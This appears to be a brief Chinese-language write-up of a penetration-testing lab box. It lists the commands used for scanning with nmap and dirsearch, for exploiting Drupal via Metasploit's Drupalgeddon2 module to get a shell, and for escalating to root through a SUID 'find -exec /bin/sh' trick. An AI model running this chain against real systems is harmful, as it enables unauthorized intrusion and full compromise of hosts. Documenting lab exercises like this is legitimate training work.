一、信息收集
1.确定目标IP
arp-scan -l
目标IP:192.168.222.131
2.扫描开放端口
nmap -sV -A -p- 192.168.222.131
开放端口:22-ssh 80-http
3.目录爆破
dirsearch -u http://192.168.222.131
4.指纹识别
whatweb -v http://192.168.222.131
二、漏洞查找
1.通过指纹识别发现网站框架
2.查找框架漏洞
3.查找到一个漏洞,到MSF看漏洞是否存在
search Drupalgeddon2
4.漏洞存在,尝试利用
use 0
set rhosts 192.168.222.131
run
三、提权
1.成功反弹shell,改造bash
python -c "import pty;pty.spawn('/bin/bash')"
2.查看suid权限
find / -perm -u=s -type f 2>/dev/null
3.发现find可以提权,提权成功
find /etc/passwd -exec '/bin/sh' \;